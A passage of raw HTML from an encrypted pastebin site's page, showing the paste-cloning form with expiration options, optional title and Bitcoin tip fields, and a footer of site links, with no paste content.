            <svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-pencil-square"><path fill="#eee" d="M15.502 1.94a.5.5 0 0 1 0 .706L14.459 3.69l-2-2L13.502.646a.5.5 0 0 1 .707 0l1.293 1.293zm-1.75 2.456l-2-2L4.939 9.21a.5.5 0 0 0-.121.196l-.805 2.414a.25.25 0 0 0 .316.316l2.414-.805a.5.5 0 0 0 .196-.12l6.813-6.814z"></path> <path fill-rule="evenodd" d="M1 13.5A1.5 1.5 0 0 0 2.5 15h11a1.5 1.5 0 0 0 1.5-1.5v-6a.5.5 0 0 0-1 0v6a.5.5 0 0 1-.5.5h-11a.5.5 0 0 1-.5-.5v-11a.5.5 0 0 1 .5-.5H9a.5.5 0 0 0 0-1H2.5A1.5 1.5 0 0 0 1 2.5v11z"></path></svg></button></span></div></div></form></div> <div class="submit-form clone"><form method="post" action="/paste/create" class="well"><div class="d-flex justify-content-between"><div><div class="file-upload"><button type="button" class="btn btn-info">Cancel clone</button></div></div> <div class="form-group select-date-clone paste-option"><div class="input-group"><select id="expiration" name="expiration" class="custom-select"><option value="burn_after_reading">Burn after reading</option> <option selected="selected" value="1_day">Expire in 1 day</option> <option value="1_month">Expire in 1 month</option> <option value="never">Never expire</option></select> <div class="input-group-append"><button type="submit" class="btn btn-primary">Submit</button></div></div></div></div> <div class="progress-container progress-clone"><div class="progress active" style="display: none;"><div role="progressbar" class="progress-bar progress-bar-striped"></div></div></div> <div><textarea rows="10" id="content" name="content" class=" form-control" style="height:0px;overflow-y:hidden;"></textarea> <div class="paste-options"><h6>Optional fields (those are <em>not</em> encrypted):</h6> <div class="input-group mb-3"><div class="input-group-prepend"><span class="input-group-text">Title</span></div> <input type="text" name="paste-excerpt" placeholder="Anything you type here will be visible by anyone, including search engines." maxlength="60" class="form-control paste-excerpt"></div> <div class="input-group mb-3"><div class="input-group-prepend"><span id="basic-addon1" class="input-group-text"><strong><svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"><path d="M12 2c5.514 0 10 4.486 10 10s-4.486 10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm0 18v-1.511h-.5v1.511h-1v-1.511h-2.484l.25-1.489h.539c.442 0 .695-.425.695-.854v-4.444c0-.416-.242-.702-.683-.702h-.817v-1.5h2.5v-1.5h1v1.5h.5v-1.5h1v1.526c2.158.073 3.012.891 3.257 1.812.29 1.09-.429 2.005-1.046 2.228.75.192 1.789.746 1.789 2.026 0 1.742-1.344 2.908-4 2.908v1.5h-1zm-.5-5.503v2.503c1.984 0 3.344-.188 3.344-1.258 0-1.148-1.469-1.245-3.344-1.245zm0-.997c1.105 0 2.789-.078 2.789-1.25 0-1-1.039-1.25-2.789-1.25v2.5z" fill="#eee"></path></svg> tip</strong></span></div> <input type="text" name="paste-btc-tip-address" placeholder="Put a BTC address to ask for a tip. Leave it empty to let us use our." maxlength="50" class="form-control paste-btc-tip-address"></div></div></div> <!----></form></div></div></div> <footer class="footer"><ul><li><a href="https://github.com/Tygs/0bin">Github</a></li> <li><a href="/faq/">Faq</a></li> <li><span title="mailto:[email protected]" class="email-link">
            Contact
          </span></li> <li><a href="https://www.0bin.net/">Zerobin Pastebin</a></li> <li><a href="/buy_bitcoin">How to buy Bitcoin?</a></li></ul> <strong>110</strong> pastes øbinned
    </footer></div>

  <script src="/static/js/main.min.js?1.0.4"></script>

  <script type="text/javascript">
    zerobin.max_size = 1024000;
  </script>

  <p id="alert-template" class="alert-primary">
    <a class="close" data-dismiss="alert" href="#">×</a>
    <strong class="title"></strong>
    <span class="message"></span>
  </p>





</body></html>